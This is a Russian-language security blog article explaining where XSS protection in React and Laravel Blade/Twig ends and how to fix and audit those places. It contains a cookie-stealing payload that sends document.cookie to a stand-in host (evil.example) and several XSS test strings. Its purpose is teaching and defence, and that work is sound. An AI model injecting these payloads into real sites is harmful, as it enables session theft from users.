Перейти к основному содержанию
Блог

Веб

XSS в React и Blade: где заканчивается защита фреймворка

React и Blade экранируют данные автоматически, но dangerouslySetInnerHTML, {!! !!}, ссылки javascript: и markdown обходят эту защиту. Как проверить и как исправить.

· 10 мин. чтения

Фото: Photos by V2_, Lab for the Unstable Media as part of their 3, CC BY-SA 4.0 · Wikimedia Commons

Cross-site scripting (XSS) — уязвимость, при которой атакующий может выполнить свой JavaScript на вашей странице. Этот код работает в браузере пользователя от имени вашего домена: читает данные на странице, отправляет запросы от имени пользователя, показывает поддельную форму входа.

Современные фреймворки решили большую часть этой проблемы. React автоматически экранирует текст внутри JSX, так же поступают {{ }} в Laravel Blade и {{ }} в Twig. Поэтому многие считают: «у нас XSS быть не может». На практике XSS почти всегда находится там, где кто-то намеренно вышел за пределы автоматической защиты фреймворка. В этой статье разберём эти места по одному.

Коротко о типах XSS

  • Reflected (отражённая) XSS — вредоносный код приходит в самом запросе (например, в параметре URL) и сразу возвращается в ответе. Атакующий убеждает жертву открыть специальную ссылку.
  • Stored (хранимая) XSS — вредоносный код записывается в базу (комментарий, имя профиля, описание товара) и выполняется у каждого, кто его увидит. Этот тип опаснее: ссылку отправлять не нужно, а жертвами часто становятся и администраторы.
  • DOM-based XSS — ответ сервера безопасен, но фронтенд-код опасным способом записывает в DOM данные из URL или другого источника (innerHTML, document.write, location.hash).

Почему это важно для экспертизы

XSS входит в категорию A03 «Injection» списка OWASP Top 10 (2021) и классифицируется как CWE-79. На официальной экспертизе все поля ввода, параметры URL, имена файлов и ответы API проверяются на XSS. Особенно stored XSS — например, когда текст обычного пользователя выполняется в админ-панели — считается серьёзной находкой, потому что через сессию администратора может открыть доступ ко всей системе.

Кроме того, экспертиза отдельно проверяет наличие заголовка Content-Security-Policy. CSP — второй уровень защиты от XSS, и ниже мы на нём тоже остановимся.

Откуда XSS приходит в React

dangerouslySetInnerHTML

Единственный способ вставить HTML напрямую в React — dangerouslySetInnerHTML. Название намеренно пугающее, но его всё равно часто используют: текст статьи из CMS, результат WYSIWYG-редактора, «отформатированное» сообщение с сервера.

// Опасно: description пришёл от пользователя
<div dangerouslySetInnerHTML={{ __html: product.description }} />

Если в description окажется <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">, он выполнится. Решение — очищать HTML библиотекой вроде DOMPurify:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(product.description, {
  USE_PROFILES: { html: true },
});
<div dangerouslySetInnerHTML={{ __html: clean }} />

Лучший вариант — очищать HTML и на сервере при сохранении, и ещё раз на фронтенде при выводе.

Ссылки javascript: в href и src

React экранирует текст, но не проверяет смысл значения атрибута. Если в профиле пользователя есть поле «сайт»:

<a href={user.website}>Сайт</a>

и он введёт javascript:alert(document.domain), клик по ссылке выполнит код. Новые версии React предупреждают о таких ссылках, но полагаться на это не стоит. Проверяйте схему URL сами:

function safeUrl(value) {
  try {
    const url = new URL(value, window.location.origin);
    return ['http:', 'https:', 'mailto:'].includes(url.protocol) ? url.href : '#';
  } catch {
    return '#';
  }
}

<a href={safeUrl(user.website)} rel="noopener noreferrer">Сайт</a>

То же правило действует для iframe src, window.location = ... и window.open(...).

Прямая запись в DOM

ref.current.innerHTML = ... через useRef, передача HTML-строки сторонним библиотекам (графики, карты, тултипы), eval и new Function — всё это вне защиты React. Большинство библиотек тултипов принимают HTML в content; перед передачей туда пользовательских данных экранируйте их или включите текстовый режим.

Серверный рендеринг (SSR) и начальное состояние

В Next.js и других SSR-решениях сервер встраивает состояние в <script> в виде JSON. Если это делается вручную через JSON.stringify, строка </script> внутри данных может закрыть блок скрипта и добавить новый код. Используйте механизм самого фреймворка или заменяйте < на <.

Откуда XSS приходит в Blade и Twig

{!! !!} и |raw

В Blade {{ $x }} экранирует значение через htmlspecialchars. {!! $x !!} — не экранирует. В Twig этому соответствует фильтр |raw.

{{-- Опасно --}}
<div class="bio">{!! $user->bio !!}</div>

{{-- Безопасно: как текст --}}
<div class="bio">{{ $user->bio }}</div>

Если HTML действительно нужен (например, статья от администратора), очищайте его при сохранении. Для PHP подходит HTML Purifier или похожая библиотека. Никогда не выводите пользовательские данные через {!! !!} без очистки.

Важен контекст: JavaScript и атрибуты

{{ }} безопасен в HTML-контексте, но не внутри JavaScript:

{{-- Опасно: в JS-контексте HTML-экранирования недостаточно --}}
<script>
  const name = '{{ $user->name }}';
</script>

{{-- Безопасно --}}
<script>
  const name = @json($user->name);
</script>

@json (или Js::from) правильно кодирует значение для JavaScript. Также не помещайте пользовательские данные в inline-атрибуты событий вроде onclick="..." и всегда берите значения атрибутов в кавычки.

Inertia

При использовании Inertia props страницы записываются в атрибут data-page как JSON, и Laravel их экранирует. Риск — на стороне фронтенда, если в React-компоненте допущены описанные выше ошибки.

Markdown: скрытая дверь для HTML

Многие проекты используют Markdown для комментариев, описаний или базы знаний. Проблема в том, что стандарт Markdown допускает сырой HTML внутри и принимает ссылки вида [ссылка](javascript:...).

В Laravel Str::markdown() использует CommonMark и принимает безопасные настройки:

use Illuminate\Support\Str;

$html = Str::markdown($comment->body, [
    'html_input' => 'strip',
    'allow_unsafe_links' => false,
]);

В Node пропускайте результат marked или markdown-it через DOMPurify. В markdown-it настройка html: false (по умолчанию) отключает сырой HTML, но ссылки всё равно нужно проверять.

Имена файлов, SVG и другие неожиданные источники

XSS приходит не только из текстовых полей:

  • Имя файла — если имя загруженного файла выводится в списке через {!! !!}.
  • SVG-файлы — внутри SVG может быть <script>. Если загруженный пользователем SVG открывается напрямую с вашего домена, скрипт выполнится. Подробнее: уязвимости загрузки файлов.
  • Сообщения об ошибках — например, «<поисковый запрос> не найден».
  • PDF и экспорт — в библиотеках, которые делают PDF из HTML, введённый HTML тоже может выполняться.

Как проверить самостоятельно

Поиск по коду

# React / JS
grep -rnE "dangerouslySetInnerHTML|innerHTML\s*=|outerHTML|insertAdjacentHTML|document\.write|eval\(|new Function" src/ resources/js/

# Blade / Twig
grep -rnE "\{!!" resources/views/
grep -rnE "\|raw" templates/

# динамическое значение в href
grep -rnE "href=\{[^}\"']+\}" resources/js/ src/

Для каждого результата проследите, откуда приходят данные: от пользователя, администратора или внешнего API?

Ручная проверка

В тестовой среде вставьте простые строки в каждое текстовое поле, параметр URL и имя файла и посмотрите, как они выводятся в ответе:

"><img src=x onerror=alert(document.domain)>
javascript:alert(document.domain)
</script><script>alert(1)</script>

Затем смотрите не исходный код страницы (view-source:), а DOM в DevTools: если строка видна как текст (&lt;img) — хорошо, если появилась как настоящий тег — уязвимость есть. Для stored XSS проверяйте и страницы, которые видит другая роль (например, администратор).

Второй уровень: Content-Security-Policy

Исправление кода — основная защита. CSP — второй уровень, который ограничивает ущерб, если ошибка всё же осталась. Правильно настроенный CSP блокирует inline-скрипты и скрипты с чужих источников.

Пример для nginx:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'" always;

Если в приложении есть inline-скрипты (Vite dev, начальное состояние Inertia, аналитика), используйте nonce вместо добавления 'unsafe-inline'. В Laravel Vite через Vite::useCspNonce() добавляет nonce в свои теги, а вы записываете тот же nonce в заголовок CSP. Сначала протестируйте с Content-Security-Policy-Report-Only, затем переходите в принудительный режим. Подробнее: заголовки безопасности: CSP и HSTS.

Дополнительные меры:

  • Сессионная cookie должна быть HttpOnly — тогда скрипт не сможет её прочитать.
  • Не храните токены в localStorage: XSS читает их напрямую.

Экранирование фреймворка — защита по умолчанию. XSS всегда появляется там, где кто-то намеренно отключил это умолчание.

Короткий чек-лист

  • Просмотрены все места с dangerouslySetInnerHTML, {!! !!}, |raw, v-html и innerHTML.
  • Пользовательский HTML очищается DOMPurify или HTML Purifier.
  • В href, src и редиректах разрешены только схемы http, https, mailto.
  • В Blade в JS-контексте используется @json или Js::from.
  • Markdown рендерится без сырого HTML и опасных ссылок.
  • SVG и другие загруженные файлы отдаются с отдельного домена или с Content-Disposition: attachment.
  • Stored XSS проверена и в админ-панели.
  • Установлен CSP, вместо 'unsafe-inline' используется nonce.
  • Сессионные cookie HttpOnly, Secure, токены не в localStorage.

Вывод

React и Blade дают сильную базовую защиту от XSS, но у каждого есть «кнопка отключения защиты». Уязвимости находятся именно там, где эти кнопки нажаты: dangerouslySetInnerHTML, {!! !!}, непроверенные URL и markdown. Найти эти места через grep, очистить данные и добавить CSP — конкретная и измеримая работа, которую стоит сделать до экспертизы.

Хотите выявить опасные с точки зрения XSS места в приложении до экспертизы? Оставьте заявку на сканирование — Claude AI агент найдёт опасные шаблоны во фронтенде и шаблонах, а наш специалист подтвердит их и поможет исправить.